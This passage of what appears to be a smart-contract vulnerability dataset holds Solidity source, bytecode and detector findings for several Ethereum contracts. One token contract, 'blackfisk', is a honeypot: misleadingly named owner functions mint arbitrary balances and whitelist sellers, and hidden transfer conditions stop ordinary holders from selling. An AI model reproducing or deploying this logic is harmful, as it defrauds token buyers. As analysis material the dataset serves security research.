0160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611ca9565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611462565b600081848411156112145760405162461bcd60e51b81526004016106289190611a1d565b5060006112218486611cc1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d5611490565b90506112e183826114b3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c64565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ad9190611cd8565b816001815181106113c0576113c0611c64565b6001600160a01b0392831660209182029290920101526014546113e69130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141f908590600090869030904290600401611cf5565b600060405180830381600087803b15801561143957600080fd5b505af115801561144d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146f5761146f6114f5565b61147a848484611523565b80610a7157610a71600e54600c55600f54600d55565b600080600061149d61161a565b90925090506114ac82826114b3565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165c565b600c541580156115055750600d54155b1561150c57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115358761168a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156790876116e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115969086611729565b6001600160a01b0389166000908152600260205260409020556115b881611788565b6115c284836117d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160791815260200190565b60405180910390a3505050505050505050565b60065460009081906825f273933db570000061163682826114b3565b821015611653575050600654926825f273933db570000092509050565b90939092509050565b6000818361167d5760405162461bcd60e51b81526004016106289190611a1d565b5060006112218486611d66565b60008060008060008060008060006116a78a600c54600d546117f6565b92509250925060006116b7611490565b905060008060006116ca8e87878761184b565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117368385611ca9565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b6000611792611490565b905060006117a0838361189b565b306000908152600260205260409020549091506117bd9082611729565b30600090815260026020526040902055505050565b6006546117df90836116e7565b6006556007546117ef9082611729565b6007555050565b6000808080611810606461180a898961189b565b906114b3565b90506000611823606461180a8a8961189b565b9050600061183b826118358b866116e7565b906116e7565b9992985090965090945050505050565b600080808061185a888661189b565b90506000611868888761189b565b90506000611876888861189b565b905060006118888261183586866116e7565b939b939a50919850919650505050505050565b6000826000036118ad575060006106ae565b60006118b98385611d88565b9050826118c68583611d66565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195381611933565b919050565b6000602080838503121561196b57600080fd5b823567ffffffffffffffff8082111561198357600080fd5b818501915085601f83011261199757600080fd5b8135818111156119a9576119a961191d565b8060051b604051601f19603f830116810181811085821117156119ce576119ce61191d565b6040529182528482019250838101850191888311156119ec57600080fd5b938501935b82851015611a1157611a0285611948565b845293850193928501926119f1565b98975050505050505050565b600060208083528351808285015260005b81811015611a4a57858101830151858201604001528201611a2e565b81811115611a5c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8557600080fd5b8235611a9081611933565b946020939093013593505050565b600080600060608486031215611ab357600080fd5b8335611abe81611933565b92506020840135611ace81611933565b929592945050506040919091013590565b600060208284031215611af157600080fd5b81356112e181611933565b8035801515811461195357600080fd5b600060208284031215611b1e57600080fd5b6112e182611afc565b600060208284031215611b3957600080fd5b5035919050565b60008060008060808587031215611b5657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8757600080fd5b833567ffffffffffffffff80821115611b9f57600080fd5b818601915086601f830112611bb357600080fd5b813581811115611bc257600080fd5b8760208260051b8501011115611bd757600080fd5b602092830195509350611bed9186019050611afc565b90509250925092565b60008060408385031215611c0957600080fd5b8235611c1481611933565b91506020830135611c2481611933565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca257611ca2611c7a565b5060010190565b60008219821115611cbc57611cbc611c7a565b500190565b600082821015611cd357611cd3611c7a565b500390565b600060208284031215611cea57600080fd5b81516112e181611933565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d455784516001600160a01b031683529383019391830191600101611d20565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da257611da2611c7a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8cd0cdbb463d357482fc2f70483931b7dcbdd153eafb9af438bdefc27bdf77064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,402
0xc5bc5bf58edd15b6ab9d42afb340249985691702
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract blackfisk { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820737ee0721232e6383a47649ee773326d89b7f0313a8663663d68590128c8d65164736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,403
0xeece063bb21e231b2b9981ca254b19b651adb021
interface PermittedAddressesInterface { function permittedAddresses(address _address) external view returns(bool); function addressesTypes(address _address) external view returns(string memory); function isMatchTypes(address _address, uint256 addressType) external view returns(bool); } interface SmartFundERC20LightFactoryInterface { function createSmartFundLight( address _owner, string memory _name, uint256 _successFee, address _exchangePortalAddress, address _permittedAddresses, address _coinAddress, bool _isRequireTradeVerification ) external returns(address); } interface SmartFundETHLightFactoryInterface { function createSmartFundLight( address _owner, string memory _name, uint256 _successFee, address _exchangePortalAddress, address _permittedAddresses, bool _isRequireTradeVerification ) external returns(address); } interface SmartFundERC20FactoryInterface { function createSmartFund( address _owner, string memory _name, uint256 _successFee, address _exchangePortalAddress, address _poolPortalAddress, address _defiPortal, address _permittedAddresses, address _coinAddress, bool _isRequireTradeVerification ) external returns(address); } interface SmartFundETHFactoryInterface { function createSmartFund( address _owner, string memory _name, uint256 _successFee, address _exchangePortalAddress, address _poolPortalAddress, address _defiPortal, address _permittedAddresses, bool _isRequireTradeVerification ) external returns(address); } pragma solidity ^0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * The SmartFundRegistry is used to manage the creation and permissions of SmartFund contracts */ contract SmartFundRegistry is Ownable { address[] public smartFunds; // The Smart Contract which stores the addresses of all the authorized address PermittedAddressesInterface public permittedAddresses; // Addresses of portals address public poolPortalAddress; address public exchangePortalAddress; address public defiPortalAddress; // Default maximum success fee is 3000/30% uint256 public maximumSuccessFee = 3000; // Address of stable coin can be set in constructor and changed via function address public stableCoinAddress; // Address of CoTrader coin be set in constructor address public COTCoinAddress; // Factories SmartFundETHFactoryInterface public smartFundETHFactory; SmartFundERC20FactoryInterface public smartFundERC20Factory; SmartFundETHLightFactoryInterface public smartFundETHLightFactory; SmartFundERC20LightFactoryInterface public smartFundERC20LightFactory; // Enum for detect fund type in create fund function // NOTE: You can add a new type at the end, but do not change this order enum FundType { ETH, USD, COT } event SmartFundAdded(address indexed smartFundAddress, address indexed owner); /** * @dev contructor * * @param _exchangePortalAddress Address of the initial ExchangePortal contract * @param _poolPortalAddress Address of the initial PoolPortal contract * @param _stableCoinAddress Address of the stable coin * @param _COTCoinAddress Address of Cotrader coin * @param _smartFundETHFactory Address of smartFund ETH factory * @param _smartFundERC20Factory Address of smartFund USD factory * @param _smartFundETHLightFactory Address of smartFund ETH factory * @param _smartFundERC20LightFactory Address of smartFund USD factory * @param _defiPortalAddress Address of defiPortal contract * @param _permittedAddresses Address of permittedAddresses contract */ constructor( address _exchangePortalAddress, address _poolPortalAddress, address _stableCoinAddress, address _COTCoinAddress, address _smartFundETHFactory, address _smartFundERC20Factory, address _smartFundETHLightFactory, address _smartFundERC20LightFactory, address _defiPortalAddress, address _permittedAddresses ) public { exchangePortalAddress = _exchangePortalAddress; poolPortalAddress = _poolPortalAddress; stableCoinAddress = _stableCoinAddress; COTCoinAddress = _COTCoinAddress; smartFundETHFactory = SmartFundETHFactoryInterface(_smartFundETHFactory); smartFundERC20Factory = SmartFundERC20FactoryInterface(_smartFundERC20Factory); smartFundETHLightFactory = SmartFundETHLightFactoryInterface(_smartFundETHLightFactory); smartFundERC20LightFactory = SmartFundERC20LightFactoryInterface(_smartFundERC20LightFactory); defiPortalAddress = _defiPortalAddress; permittedAddresses = PermittedAddressesInterface(_permittedAddresses); } /** * @dev Creates a new Full SmartFund * * @param _name The name of the new fund * @param _successFee The fund managers success fee * @param _fundType Fund type enum number * @param _isRequireTradeVerification If true fund can buy only tokens, * which include in Merkle Three white list */ function createSmartFund( string memory _name, uint256 _successFee, uint256 _fundType, bool _isRequireTradeVerification ) public { // Require that the funds success fee be less than the maximum allowed amount require(_successFee <= maximumSuccessFee); address smartFund; // ETH case if(_fundType == uint256(FundType.ETH)){ // Create ETH Fund smartFund = smartFundETHFactory.createSmartFund( msg.sender, _name, _successFee, // manager and platform fee exchangePortalAddress, poolPortalAddress, defiPortalAddress, address(permittedAddresses), _isRequireTradeVerification ); } // ERC20 case else{ address coinAddress = getERC20AddressByFundType(_fundType); // Create ERC20 based fund smartFund = smartFundERC20Factory.createSmartFund( msg.sender, _name, _successFee, // manager and platform fee exchangePortalAddress, poolPortalAddress, defiPortalAddress, address(permittedAddresses), coinAddress, _isRequireTradeVerification ); } smartFunds.push(smartFund); emit SmartFundAdded(smartFund, msg.sender); } /** * @dev Creates a new Light SmartFund * * @param _name The name of the new fund * @param _successFee The fund managers success fee * @param _fundType Fund type enum number * @param _isRequireTradeVerification If true fund can buy only tokens, * which include in Merkle Three white list */ function createSmartFundLight( string memory _name, uint256 _successFee, uint256 _fundType, bool _isRequireTradeVerification ) public { // Require that the funds success fee be less than the maximum allowed amount require(_successFee <= maximumSuccessFee); address smartFund; // ETH case if(_fundType == uint256(FundType.ETH)){ // Create ETH Fund smartFund = smartFundETHLightFactory.createSmartFundLight( msg.sender, _name, _successFee, // manager and platform fee exchangePortalAddress, address(permittedAddresses), _isRequireTradeVerification ); } // ERC20 case else{ address coinAddress = getERC20AddressByFundType(_fundType); // Create ERC20 based fund smartFund = smartFundERC20LightFactory.createSmartFundLight( msg.sender, _name, _successFee, // manager and platform fee exchangePortalAddress, address(permittedAddresses), coinAddress, 